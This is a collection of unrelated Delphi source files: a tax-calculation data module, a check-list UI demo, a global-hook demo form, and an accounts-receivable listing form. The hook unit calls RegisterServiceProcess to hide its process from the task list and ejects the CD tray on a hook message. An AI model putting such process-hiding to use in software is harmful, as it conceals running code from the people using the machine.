function ReturnTaxValueByList(ATaxList: TList; AIDPurchaseItem, AIDTax: Integer): Currency;
function GetTaxInFormula(IDPurchaseItem: Integer; Cost, Freight, Other,
Percent, MVA, Discount: Currency; fFormula: String; bIsRet: Boolean): Currency;
function GetTaxInFormulaByList(TaxList: TList; ItemTax: TItemTax): Currency;
public
procedure CreateTaxRet(IDPurchaseItem : Integer);
procedure CreateTax(IDVendor, IDPurchase, IDPurchaseItem : Integer);
procedure CalculateTax(IDPurchaseItem : Integer; Cost, Freight, Other, MVA, Discount : Currency; Qty : Double);
procedure CalculateTaxRet(IDPurchaseItem : Integer; Cost, Freight, Other, MVA, Discount : Currency);
procedure CalculateTaxList(var ATaxList: TList);
function GetTaxesValueTotal(IDPurchaseItem : Integer) : Currency;
function GetTaxesRetValueTotal(IDPurchaseItem : Integer): Currency;
property ADODBConnect: TADOConnection read fADODBConnect write SetConection;
end;
implementation
uses uSystemConst, uNumericFunctions;
{$R *.dfm}
{ TDMCalcTax }
procedure TDMCalcTax.CalculateTax(IDPurchaseItem: Integer;
Cost, Freight, Other, MVA, Discount : Currency; Qty : Double);
var
bReturn : Integer;
OP : Integer;
begin
if Cost <> 0 then
begin
with quItemTax do
try
if ((Qty < 0) and (Cost < 0)) then
bReturn := -1
else
bReturn := 1;
if not Active then
begin
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Open;
end;
First;
while not EOF do
begin
if not (State in dsEditModes) then
Edit;
if FieldByName('Debit').AsBoolean then
OP := -1
else
OP := 1;
if FieldByName('TaxPercentage').AsCurrency <> 0 then
begin
if FieldByName('Formula').AsString = '' then
FieldByName('TaxValue').AsCurrency := ((Cost * (FieldByName('TaxPercentage').AsCurrency/100))*OP)
else
quItemTaxTaxValue.AsCurrency := ((GetTaxInFormula(IDPurchaseItem,
ABS(Cost),
ABS(Freight),
ABS(Other),
FieldByName('TaxPercentage').AsCurrency,
MVA,
Discount,
FieldByName('Formula').AsString,
False) * OP) * bReturn);
end
else
FieldByName('TaxValue').AsCurrency := 0;
Post;
Next;
end;
finally
Close;
end;
end;
end;
procedure TDMCalcTax.CalculateTaxList(var ATaxList: TList);
var
i, OP: Integer;
ItemTax: TItemTax;
begin
for i := 0 to Pred(ATaxList.Count) do
begin
ItemTax := TItemTax(ATaxList[i]);
if ItemTax.Cost <> 0 then
begin
if ItemTax.Debit then
OP := -1
else
OP := 1;
if ItemTax.TaxPercentage <> 0 then
begin
if ItemTax.Formula = '' then
ItemTax.TaxValue := ((ItemTax.Cost * (ItemTax.TaxPercentage/100)) * OP)
else
ItemTax.TaxValue := (GetTaxInFormulaByList(ATaxList, ItemTax)*OP);
end;
end;
end;
end;
procedure TDMCalcTax.CalculateTaxRet(IDPurchaseItem: Integer; Cost,
Freight, Other, MVA, Discount: Currency);
var
OP : Integer;
begin
if Cost <> 0 then
begin
with quItemTaxRet do
try
if not Active then
begin
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Open;
end;
First;
While not EOF do
begin
if not (State in dsEditModes) then
Edit;
if FieldByName('Debit').AsBoolean then
OP := -1
else
OP := 1;
if FieldByName('TaxPercentage').AsCurrency <> 0 then
begin
if FieldByName('Formula').AsString = '' then
FieldByName('TaxValue').AsCurrency := ((Cost * (FieldByName('TaxPercentage').AsCurrency/100)) * OP)
else
quItemTaxRetTaxValue.AsCurrency := (GetTaxInFormula(IDPurchaseItem,
Cost,
Freight,
Other,
FieldByName('TaxPercentage').AsCurrency,
MVA,
Discount,
FieldByName('Formula').AsString,
True)*OP);
end;
Next;
end;
finally
Close;
end;
end;
end;
procedure TDMCalcTax.CreateTax(IDVendor, IDPurchase,
IDPurchaseItem: Integer);
begin
with spPurchaseItemTax do
begin
Parameters.ParambyName('@IDVendor').Value := IDVendor;
Parameters.ParambyName('@IDPurchaseItem').Value := IDPurchaseItem;
Parameters.ParambyName('@IDPurchase').Value := IDPurchase;
ExecProc;
end;
end;
procedure TDMCalcTax.CreateTaxRet(IDPurchaseItem: Integer);
begin
with spPurchaseItemTaxRet do
begin
Parameters.ParambyName('@IDPurchaseItem').Value := IDPurchaseItem;
ExecProc;
end;
end;
function TDMCalcTax.GetTaxesRetValueTotal(IDPurchaseItem : Integer): Currency;
begin
Result := 0;
with quItemTaxRet do
try
if not Active then
begin
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Open;
end;
First;
While not EOF do
begin
Result := Result + FieldByName('TaxValue').AsCurrency;
Next;
end;
finally
Close;
end;
end;
function TDMCalcTax.GetTaxesValueTotal(IDPurchaseItem : Integer): Currency;
begin
Result := 0;
with quItemTax do
try
if not Active then
begin
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Open;
end;
First;
While not EOF do
begin
Result := Result + FieldByName('TaxValue').AsCurrency;
Next;
end;
finally
Close;
end;
end;
function TDMCalcTax.GetTaxInFormula(IDPurchaseItem : Integer; Cost, Freight,
Other, Percent, MVA, Discount: Currency; fFormula: String; bIsRet: Boolean): Currency;
var
args : array [0..100] of extended; // array of arguments - variable values
fConst : TStringList;
Decim : Char;
i : Integer;
sTax, sIDTax : String;
begin
Result := 0;
if Trim(fFormula) <> '' then
begin
fConst := TStringList.Create;
Decim := DecimalSeparator;
DecimalSeparator := '.';
try
//Tratar a formula
While Pos('[', fFormula) > 0 do
begin
sTax := '';
sIDTax := '';
for i := Pos('[', fFormula) to length(fFormula) do
begin
sTax := sTax + Copy(fFormula, i, 1);
//verificar se o final da formula
if fFormula[i] = ']' then
Break;
//copiar o id do imposto
if (fFormula[i] <> '[') then
sIDTax := sIDTax + Copy(fFormula, i, 1);
end;
if not bIsRet then
fFormula := StringReplace(fFormula, sTax, ReturnTaxValue(IDPurchaseItem, sIDTax), [rfReplaceAll])
else
fFormula := StringReplace(fFormula, sTax, ReturnTaxValueRet(IDPurchaseItem, sIDTax), [rfReplaceAll]);
end;
// set expression to calculate
CalcTaxFormula.Formula := fFormula;
// set used variables list
fConst.Add(PUR_COST);
fConst.Add(PUR_FREIGHT);
fConst.Add(PUR_OTHER);
fConst.Add(PUR_PERCENT);
fConst.Add(PUR_MVA);
fConst.Add(PUR_DISCOUNT);
CalcTaxFormula.Variables := fConst;
// prepare arguments
// SetLength(args,Values.Lines.Count);
args[0] := Cost; //Cost
args[1] := Freight; //Freigh
args[2] := Other; //Other
args[3] := (Percent/100); //Percent
args[4] := (MVA/100); //Percent
args[5] := Discount; //Discount
Result := CalcTaxFormula.calc(args);
finally
FreeAndNil(fConst);
DecimalSeparator := Decim;
end;
end;
end;
function TDMCalcTax.GetTaxInFormulaByList(TaxList: TList; ItemTax: TItemTax): Currency;
var
args : array [0..100] of extended; // array of arguments - variable values
fConst : TStringList;
Decim : Char;
i : Integer;
sTax, sIDTax : String;
begin
Result := 0;
if Trim(ItemTax.Formula) <> '' then
begin
fConst := TStringList.Create;
Decim := DecimalSeparator;
DecimalSeparator := '.';
try
//Tratar a formula
While Pos('[', ItemTax.Formula) > 0 do
begin
sTax := '';
sIDTax := '';
for i := Pos('[', ItemTax.Formula) to length(ItemTax.Formula) do
begin
sTax := sTax + Copy(ItemTax.Formula, i, 1);
//verificar se o final da formula
if ItemTax.Formula[i] = ']' then
Break;
//copiar o id do imposto
if (ItemTax.Formula[i] <> '[') then
sIDTax := sIDTax + Copy(ItemTax.Formula, i, 1);
end;
ItemTax.Formula := StringReplace(ItemTax.Formula, sTax, MyFormatCur(ReturnTaxValueByList(TaxList, ItemTax.IDPurchaseItem, StrToInt(sIDTax)), '.'), [rfReplaceAll]);
end;
// set expression to calculate
CalcTaxFormula.Formula := ItemTax.Formula;
// set used variables list
fConst.Add(PUR_COST);
fConst.Add(PUR_FREIGHT);
fConst.Add(PUR_OTHER);
fConst.Add(PUR_PERCENT);
fConst.Add(PUR_MVA);
fConst.Add(PUR_DISCOUNT);
CalcTaxFormula.Variables := fConst;
// prepare arguments
// SetLength(args,Values.Lines.Count);
args[0] := ItemTax.Cost; //Cost
args[1] := ItemTax.Freight; //Freigh
args[2] := ItemTax.Other; //Other
args[3] := (ItemTax.TaxPercentage/100); //Percent
args[4] := (ItemTax.MVA/100); //Percent
args[5] := ItemTax.Discount; //Discount
Result := CalcTaxFormula.calc(args);
finally
FreeAndNil(fConst);
DecimalSeparator := Decim;
end;
end;
end;
function TDMCalcTax.ReturnTaxValue(IDPurchaseItem : Integer; fIDTax: String): String;
begin
with quGetTaxValue do
try
If Active then
Close;
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Parameters.ParamByName('IDTaxCategory').Value := fIDTax;
Open;
if RecordCount > 0 then
Result := FormatFloat('0.00', ABS(FieldByName('TaxValue').AsFloat))
else
Result := '0';
finally
Close;
end;
end;
function TDMCalcTax.ReturnTaxValueByList(ATaxList: TList;
AIDPurchaseItem, AIDTax: Integer): Currency;
var
i: Integer;
begin
Result := 0;
for i := 0 to Pred(ATaxList.Count) do
begin
if (TItemTax(ATaxList[i]).IDPurchaseItem = AIDPurchaseItem) and
(TItemTax(ATaxList[i]).IDTaxCategory = AIDTax) then
begin
Result := ABS(TItemTax(ATaxList[i]).TaxValue);
Break;
end;
end;
end;
function TDMCalcTax.ReturnTaxValueRet(IDPurchaseItem: Integer; fIDTax: String): String;
begin
with quGetTaxValueRet do
try
If Active then
Close;
Parameters.ParamByName('IDPurchaseItem').Value := IDPurchaseItem;
Parameters.ParamByName('IDTaxCategory').Value := fIDTax;
Open;
if RecordCount > 0 then
Result := FormatFloat('0.00', ABS(FieldByName('TaxValue').AsFloat))
else
Result := '0';
finally
Close;
end;
end;
procedure TDMCalcTax.SetConection(ADOConnect: TADOConnection);
begin
fADODBConnect := ADOConnect;
quItemTax.Connection := fADODBConnect;
quItemTaxRet.Connection := fADODBConnect;
spPurchaseItemTax.Connection := fADODBConnect;
quGetTaxValue.Connection := fADODBConnect;
quGetTaxValueRet.Connection := fADODBConnect;
spPurchaseItemTaxRet.Connection := fADODBConnect;
end;
end.
|
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, clisted, contnrs,
Vcl.ComCtrls, Vcl.CheckLst;
type
TCheckObj = class
Id: Integer;
Kurz: string;
Text: string;
Checked: Boolean;
end;
type
TForm1 = class(TForm)
edt: TCheckListEdit;
Button1: TButton;
mem: TMemo;
CheckListBox1: TCheckListBox;
ComboBoxEx1: TComboBoxEx;
ComboBox1: TComboBox;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure edtCheckListItemToText(sender: TObject; var aText: string);
procedure edtShowCheckList(Sender: TObject);
procedure edtClickCheck(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure edtTextToCheckListItem(sender: TObject; var aItem: string);
procedure edtClick(Sender: TObject);
procedure edtClickBtn(Sender: TObject);
procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure ComboBox1Select(Sender: TObject);
private
fList: TObjectList;
Selected: array of Boolean;
public
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
function ErzeugeCheckObj(aKurz, aText: String; var aId: Integer): TCheckObj;
begin
inc(aId);
Result := TCheckObj.Create;
Result.Id := aId;
Result.Kurz := aKurz;
Result.Text := aKurz + ' ' + aText;
Result.Checked := false;
fList.Add(Result);
end;
var
i1: Integer;
begin
fList := TObjectList.Create;
i1 := 0;
ErzeugeCheckObj('[1]', 'Test1', i1);
ErzeugeCheckObj('[2]', 'Test2', i1);
ErzeugeCheckObj('[3]', 'Test3', i1);
ErzeugeCheckObj('[4]', 'Test4', i1);
ErzeugeCheckObj('[5]', 'Test5', i1);
ErzeugeCheckObj('[6]', 'Test6', i1);
ErzeugeCheckObj('[7]', 'Test7', i1);
ErzeugeCheckObj('[8]', 'Test8', i1);
ErzeugeCheckObj('[9]', 'Test9', i1);
ErzeugeCheckObj('[10]', 'Test10', i1);
ErzeugeCheckObj('[10]', 'Test11', i1);
ErzeugeCheckObj('[10]', 'Test12', i1);
ErzeugeCheckObj('[10]', 'Test13', i1);
edt.Clear;
for i1 := 0 to fList.Count -1 do
edt.Items.AddObject(TCheckObj(fList.Items[i1]).Text, fList.Items[i1]);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
FreeAndNil(fList);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i1: Integer;
x: TCheckObj;
begin
//edt.Text := 'Hallo ein Text';
{
for i1 := 0 to edt.Items.Count -1 do
begin
if edt.Checked[i1] then
mem.Lines.Add(edt.Items[i1]);
end;
}
mem.Clear;
for i1 := 0 to fList.Count -1 do
begin
x := TCheckObj(fList.Items[i1]);
if x.checked then
mem.Lines.Add(x.Text);
end;
end;
procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
begin
SetLength(Selected, TComboBox(Control).Items.Count);
with TComboBox(Control).Canvas do
begin
FillRect(rect);
Rect.Left := Rect.Left + 1;
Rect.Right := Rect.Left + 13;
Rect.Bottom := Rect.Bottom;
Rect.Top := Rect.Top;
if not (odSelected in State) and (Selected[Index]) then
DrawFrameControl(Handle, Rect, DFC_BUTTON,
DFCS_BUTTONCHECK or DFCS_CHECKED or DFCS_FLAT)
else if (odFocused in State) and (Selected[Index]) then
DrawFrameControl(Handle, Rect, DFC_BUTTON,
DFCS_BUTTONCHECK or DFCS_CHECKED or DFCS_FLAT)
else if (Selected[Index]) then
DrawFrameControl(Handle, Rect, DFC_BUTTON,
DFCS_BUTTONCHECK or DFCS_CHECKED or DFCS_FLAT)
else if not (Selected[Index]) then
DrawFrameControl(Handle, Rect, DFC_BUTTON, DFCS_BUTTONCHECK or DFCS_FLAT);
TextOut(Rect.Left + 15, Rect.Top, TComboBox(Control).Items[Index]);
end;
end;
procedure TForm1.ComboBox1Select(Sender: TObject);
var
i: Integer;
Sel: string;
begin
Sel := EmptyStr;
Selected[TComboBox(Sender).ItemIndex] := not Selected[TComboBox(Sender).ItemIndex];
for i := 0 to TComboBox(Sender).Items.Count - 1 do
if Selected[i] then
Sel := Sel + TComboBox(Sender).Items[i] + ' ';
end;
procedure TForm1.edtCheckListItemToText(sender: TObject; var aText: string);
var
s: string;
iAnfang: Integer;
iEnde: Integer;
begin
exit;
// aText := '1';
// exit;
s := aText;
iAnfang := Pos('[', s);
iEnde := Pos(']', s);
if (iAnfang > 0) and (iEnde > 0) then
s := copy(s, iAnfang+1, iEnde-iAnfang-1)
else
s := '';
aText := s;
// mem.Lines.Add(s);
end;
procedure TForm1.edtClick(Sender: TObject);
var
i1: Integer;
x: TCheckObj;
begin
for i1 := 0 to edt.Items.Count -1 do
begin
x := TCheckObj(edt.Items.Objects[i1]);
edt.Checked[i1] := x.Checked;
end;
end;
procedure TForm1.edtClickBtn(Sender: TObject);
var
i1: Integer;
x: TCheckObj;
s: string;
begin
s := '';
for i1 := 0 to edt.Items.Count -1 do
begin
x := TCheckObj(edt.Items.Objects[i1]);
if not x.Checked then
continue;
if s = '' then
s := s + x.Text
else
s := s + ',' + x.Text;
end;
edt.Text := '['+s+']';
end;
procedure TForm1.edtClickCheck(Sender: TObject);
var
i1: Integer;
x: TCheckObj;
begin
for i1 := 0 to edt.Items.Count -1 do
begin
if edt.Checked[i1] then
Caption := IntToStr(i1);
x := TCheckObj(edt.Items.Objects[i1]);
x.Checked := edt.State[i1] = cbChecked;
end;
mem.Clear;
for i1 := 0 to edt.Items.Count -1 do
begin
x := TCheckObj(edt.Items.Objects[i1]);
if x.Checked then
mem.Lines.Add(x.Text);
end;
end;
procedure TForm1.edtShowCheckList(Sender: TObject);
var
i1: Integer;
x: TCheckObj;
begin
exit;
for i1 := 0 to edt.Items.Count -1 do
begin
x := TCheckObj(edt.Items.Objects[i1]);
edt.Checked[i1] := x.Checked;
end;
end;
procedure TForm1.edtTextToCheckListItem(sender: TObject; var aItem: string);
begin
//aItem := TCheckObj(Sender).Kurz;
end;
end.
|
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, mmSystem;
{$I CONSTANTS.INC}
type
TForm1 = class(TForm)
lblInstalled: TLabel;
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
procedure HOOK_MSG_PROC(var Msg: TMessage); message HOOK_MSG;
procedure OnMinimize(var Msg: TMessage); message WM_SYSCOMMAND;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
const InstalledStrings: array[0..2] of string[50]=('Hook installation failed','Hook installed','Hook already installed');
UnInstalledStrings: array[0..2] of string[50]=('Hook uninstallation failed','Hook uninstalled','No hook was found to uninstall');
{Importing functions from DLL}
function InstallHook: integer; external HOOK_DLL;
function UninstallHook: Integer; external HOOK_DLL;
function IsHookInstalled: Boolean; external HOOK_DLL;
function RegisterServiceProcess(dwProcessID, dwType: integer): Integer; stdcall; external 'KERNEL32.DLL';
procedure TForm1.Button1Click(Sender: TObject);
var rez: Integer;
begin
rez:=InstallHook;
lblInstalled.Caption:=InstalledStrings[rez];
end;
procedure TForm1.Button2Click(Sender: TObject);
var rez: Integer;
begin
rez:=UninstallHook;
lblInstalled.Caption:=UnInstalledStrings[rez];
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.HOOK_MSG_PROC(var Msg: TMessage);
begin
case Msg.WParam of
APP_SHOW:
begin
Application.ShowMainForm:=True; Visible:=True;
end;
EJECT_CDROM: mciSendString('set CDAudio door open',nil,0,0);
APP_QUIT: Close;
end;
end;
procedure TForm1.OnMinimize(var Msg: TMessage);
begin
if Msg.WParam=SC_MINIMIZE then
begin
if not IsHookInstalled then
begin
ShowMessage('Install the hook first or you''ll'+#13#10+'not be able to access the program');
Exit;
end;
Application.ShowMainForm:=False;
Visible:=False;
end else Inherited;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Caption:=APP_CAPTION;
RegisterServiceProcess(GetCurrentProcessID, 1);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caFree;
if IsHookInstalled then UninstallHook;
end;
end.
|
unit frmListaContaReceber;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Objects,
FMX.Layouts, FMX.TMSBaseControl, FMX.TMSGridCell, FMX.TMSGridOptions,
FMX.TMSGridData, FMX.TMSCustomGrid, FMX.TMSGrid, FMX.Effects, FMX.StdCtrls,
FMX.Ani, FMX.Controls.Presentation, FMX.TMSBaseGroup, FMX.TMSRadioGroup,
FMX.Edit, FMX.ScrollBox, FMX.Memo, FMX.ListBox, FMX.DateTimeCtrls, FireDAC.Stan.Param;
type
Tfrm_ListaContaReceber = class(TForm)
grdContasReceber: TTMSFMXGrid;
btnContrato: TButton;
btnParcela: TButton;
btnID: TButton;
btnComercio: TButton;
btnVencto: TButton;
btnPagto: TButton;
btnValor: TButton;
Panel1: TPanel;
sbtnSair: TSpeedButton;
recBaixar: TRectangle;
Label1: TLabel;
Image1: TImage;
ShadowEffect4: TShadowEffect;
recPesquisar: TRectangle;
Label3: TLabel;
Image3: TImage;
ShadowEffect2: TShadowEffect;
Rectangle11: TRectangle;
recModal: TRectangle;
recMsg: TRectangle;
Layout1: TLayout;
Line10: TLine;
Image7: TImage;
lblCaption: TLabel;
Layout2: TLayout;
imgIcoMsg: TImage;
lblMensagem: TLabel;
sbtnOK: TSpeedButton;
sbtnSim: TSpeedButton;
sbtnNao: TSpeedButton;
recPesquisa: TRectangle;
Image2: TImage;
Image4: TImage;
Image5: TImage;
Image6: TImage;
Pago: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
btnDocumento: TButton;
recCancelar: TRectangle;
Label2: TLabel;
Image8: TImage;
ShadowEffect1: TShadowEffect;
ModalObs: TRectangle;
recObs: TRectangle;
ShadowEffect3: TShadowEffect;
sbtnCancelar: TSpeedButton;
sbtnVoltar: TSpeedButton;
Layout3: TLayout;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
lblContrato: TLabel;
lblComercio: TLabel;
lblParcela: TLabel;
recBaixa: TRectangle;
ShadowEffect5: TShadowEffect;
Layout4: TLayout;
sbtnBaixar: TSpeedButton;
sbtnBaixarVoltar: TSpeedButton;
Label11: TLabel;
Label12: TLabel;
Label13: TLabel;
Label14: TLabel;
lblBaixaContrato: TLabel;
lblBaixaComercio: TLabel;
lblBaixaParcela: TLabel;
Label15: TLabel;
lblVencimento: TLabel;
Label17: TLabel;
lblValor: TLabel;
edtDocumento: TEdit;
recFiltro: TRectangle;
ShadowEffect6: TShadowEffect;
cbComercio: TComboBox;
Label16: TLabel;
edtData: TDateEdit;
Memo1: TMemo;
rbMaiorQue: TRadioButton;
rbMenorQue: TRadioButton;
rbIgual: TRadioButton;
Label18: TLabel;
cbTipoData: TComboBox;
Label20: TLabel;
cbStatus: TComboBox;
recBtnFiltro: TRectangle;
Label19: TLabel;
Image9: TImage;
ShadowEffect7: TShadowEffect;
Line1: TLine;
Line2: TLine;
Label21: TLabel;
edtNrContrato: TEdit;
Line3: TLine;
procedure FormShow(Sender: TObject);
procedure sbtnSairClick(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure btnContratoClick(Sender: TObject);
procedure sbtnVoltarClick(Sender: TObject);
procedure Image8Click(Sender: TObject);
procedure sbtnOKClick(Sender: TObject);
procedure sbtnCancelarClick(Sender: TObject);
procedure sbtnSimClick(Sender: TObject);
procedure sbtnNaoClick(Sender: TObject);
procedure sbtnBaixarVoltarClick(Sender: TObject);
procedure sbtnBaixarClick(Sender: TObject);
function FiltroSQL : String;
procedure Image9Click(Sender: TObject);
private
{ Private declarations }
public
var
vSQL : String;
vListaFiltro: String;
{ Public declarations }
end;
var
frm_ListaContaReceber: Tfrm_ListaContaReceber;
vParcela : Integer;
implementation
{$R *.fmx}
uses untDmGeral, untGlobal;
procedure Tfrm_ListaContaReceber.btnContratoClick(Sender: TObject);
var
vCaption : String;
var
i : Integer;
begin
vCaption := TButton(Sender).Name;
if vCaption = 'btnContrato' then vSQL := 'ORDER BY r.IDCONTRATO_CR';
if vCaption = 'btnParcela' then vSQL := 'ORDER BY r.NRPARCELACR';
if vCaption = 'btnID' then vSQL := 'ORDER BY c.IDCOM';
if vCaption = 'btnComercio' then vSQL := 'ORDER BY c.RAZAOCOM';
if vCaption = 'btnVencto' then vSQL := 'ORDER BY r.VENCTOCR';
if vCaption = 'btnPagto' then vSQL := 'ORDER BY r.PAGTOCR';
if vCaption = 'btnValor' then vSQL := 'ORDER BY r.VALORCR';
if vCaption = 'btnDocumento' then vSQL := 'ORDER BY r.DOCCR';
for i := 0 to frm_ListaContaReceber.ComponentCount - 1 do
begin
if Components[i] is TButton then
If Pos(Copy(vCaption,4,Length(vCaption)), TButton(Components[i]).Text) > 0 then
TButton(frm_ListaContaReceber.FindComponent(vCaption)).Text := Copy(vCaption,4,Length(vCaption)) + ' ↓'
else
TButton(Components[i]).Text := Copy(TButton(Components[i]).Name,4,Length(TButton(Components[i]).Name));
end;
FormShow(frm_ListaContaReceber);
end;
function Tfrm_ListaContaReceber.FiltroSQL: String;
var
vResSql, vCampo : String;
begin
if cbComercio.ItemIndex > 0 then
vResSql := '(c.IDCOM = '+Integer(cbComercio.Items.Objects[cbComercio.ItemIndex]).ToString+')';
if cbStatus.ItemIndex > 0 then
if vResSql <> '' then
vResSql := vResSql+' AND (STATUSCR='+QuotedStr(cbStatus.Items[cbStatus.ItemIndex])+')'
else
vResSql := '(STATUSCR=' + UpperCase(QuotedStr(StringReplace(cbStatus.Items[cbStatus.ItemIndex],' ',EmptyStr, [rfReplaceAll])))+')';
if cbTipoData.ItemIndex = 1 then vCampo := 'r.VENCTOCR';
if cbTipoData.ItemIndex = 2 then vCampo := 'r.PAGTOCR';
if cbTipoData.ItemIndex > 0 then
begin
if vResSql <> '' then
begin
if rbIgual.IsChecked then vResSql := vResSql + ' AND ('+vCampo+' = '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
if rbMaiorQue.IsChecked then vResSql := vResSql + ' AND ('+vCampo+' > '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
if rbMenorQue.IsChecked then vResSql := vResSql + ' AND ('+vCampo+' < '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
end
else
begin
if rbIgual.IsChecked then vResSql := ' ('+vCampo+' = '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
if rbMaiorQue.IsChecked then vResSql := ' ('+vCampo+' > '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
if rbMenorQue.IsChecked then vResSql := ' ('+vCampo+' < '+QuotedStr(StringReplace(DateToStr(edtData.Date),'/','.',[rfReplaceAll]))+')';
end;
end;
if edtNrContrato.Text <> '' then
if vResSql <> '' then
if edtNrContrato.Text <> '' then vResSql := vResSql + ' AND (r.IDCONTRATO = '+QuotedStr(edtNrContrato.Text)+')'
else
if edtNrContrato.Text <> '' then vResSql := ' (r.IDCONTRATO = '+QuotedStr(edtNrContrato.Text)+')';
if vResSql = '' then
Result := '' else Result := 'WHERE '+vResSql
end;
procedure Tfrm_ListaContaReceber.FormShow(Sender: TObject);
var
i : Integer;
begin
grdContasReceber.Cells[0, 0] := 'Contrato';
grdContasReceber.Cells[1, 0] := 'Parcela';
grdContasReceber.Cells[2, 0] := 'ID';
grdContasReceber.Cells[3, 0] := 'Comércio';
grdContasReceber.Cells[4, 0] := 'Vencto';
grdContasReceber.Cells[5, 0] := 'Documento';
grdContasReceber.Cells[6, 0] := 'Pagto';
grdContasReceber.Cells[7, 0] := 'Valor';
With dmGeral.qryGeral do
begin
Close;
Sql.Clear;
Sql.Add('SELECT IDCOM, RAZAOCOM FROM ALCOMERCIO');
Sql.Add('ORDER BY RAZAOCOM');
Open;
First;
cbComercio.Clear;
cbComercio.Items.Add('=>TODOS<=');
while not eof do
begin
cbComercio.Items.AddObject(FieldByName('RAZAOCOM').AsString,TObject(FieldByName('IDCOM').AsInteger));
Next;
end;
cbComercio.ItemIndex := 0;
Close;
Sql.Clear;
Sql.Add('SELECT c.IDCOM, c.RAZAOCOM, r.* FROM ALCOMERCIO c');
Sql.Add('INNER JOIN CONTARECEBER r');
Sql.Add('ON (r.IDCOM_CR = c.IDCOM)');
Sql.Add(vListaFiltro);
Sql.Add(vSql);
Open;
First;
if RecordCount > 0 then
begin
First;
for i := 0 to RecordCount do
begin
grdContasReceber.RowCount := i + 1;
grdContasReceber.Cells[0, i + 1] := FormatFloat('0000',FieldByName('IDCONTRATO_CR').AsInteger) + '/' + FieldByName('LETRACR').AsString;
grdContasReceber.Cells[1, i + 1] := FieldByName('NRPARCELACR').AsString;
grdContasReceber.Cells[2, i + 1] := FormatFloat('0000',FieldByName('IDCOM').AsInteger);
grdContasReceber.Cells[3, i + 1] := FieldByName('RAZAOCOM').AsString;
grdContasReceber.Cells[4, i + 1] := PintarStatus(FieldByName('STATUSCR').AsString) + DateToStr(FieldByName('VENCTOCR').AsDateTime)+'</s></font>';
grdContasReceber.Cells[5, i + 1] := FieldByName('DOCCR').AsString;;
if not FieldByName('PAGTOCR').IsNull then
grdContasReceber.Cells[6, i + 1] := PintarStatus(FieldByName('STATUSCR').AsString) +
DateToStr(FieldByName('PAGTOCR').AsDateTime) + '</s></font>' else
grdContasReceber.Cells[6, i + 1] := '';
grdContasReceber.Cells[7, i + 1] := PintarStatus(FieldByName('STATUSCR').AsString) +
CurrToStrF(FieldByName('VALORCR').AsCurrency,ffNumber,2) + '</s></font>';
grdContasReceber.Cells[8, i + 1] := FieldByName('STATUSCR').AsString;
grdContasReceber.AddBitmapFile(8, i + 1, gPathArquivos + '\Icones\' + FieldByName('STATUSCR').AsString + '.png');
Next;
end;
end
else
begin
grdContasReceber.RowCount := RecordCount;
Exit;
end;
end;
end;
procedure Tfrm_ListaContaReceber.Image8Click(Sender: TObject);
begin
Try
gIdContrato := Copy(grdContasReceber.Cells[0,grdContasReceber.Selected],0,4).ToInteger;
Except
fMsg(Self,'','Selecione um cliente na lista!',fIconExclamation,fBtnOK);
Exit;
End;
if (grdContasReceber.Cells[8, grdContasReceber.Selected] = 'PAGO') or
(grdContasReceber.Cells[8, grdContasReceber.Selected] = 'CANCELADO') then
begin
fMsg(Self,'','Não é possivel cancelar um titulo com o status '+
grdContasReceber.Cells[8, grdContasReceber.Selected],fIconExclamation,fBtnOK);
Exit;
end
else
begin
lblContrato.Text := grdContasReceber.Cells[0, grdContasReceber.Selected];
lblComercio.Text := grdContasReceber.Cells[3, grdContasReceber.Selected];
lblParcela.Text := grdContasReceber.Cells[1, grdContasReceber.Selected];
recObs.Visible := True;
recBaixa.Visible := False;
ModalObs.Visible := True;
end;
end;
procedure Tfrm_ListaContaReceber.Image9Click(Sender: TObject);
begin
vListaFiltro := FiltroSQL;
FormShow(Sender);
end;
procedure Tfrm_ListaContaReceber.Label1Click(Sender: TObject);
begin
Try
gIdContrato := Copy(grdContasReceber.Cells[0,grdContasReceber.Selected],0,4).ToInteger;
Except
fMsg(Self,'','Selecione um cliente na lista!',fIconExclamation,fBtnOK);
Exit;
End;
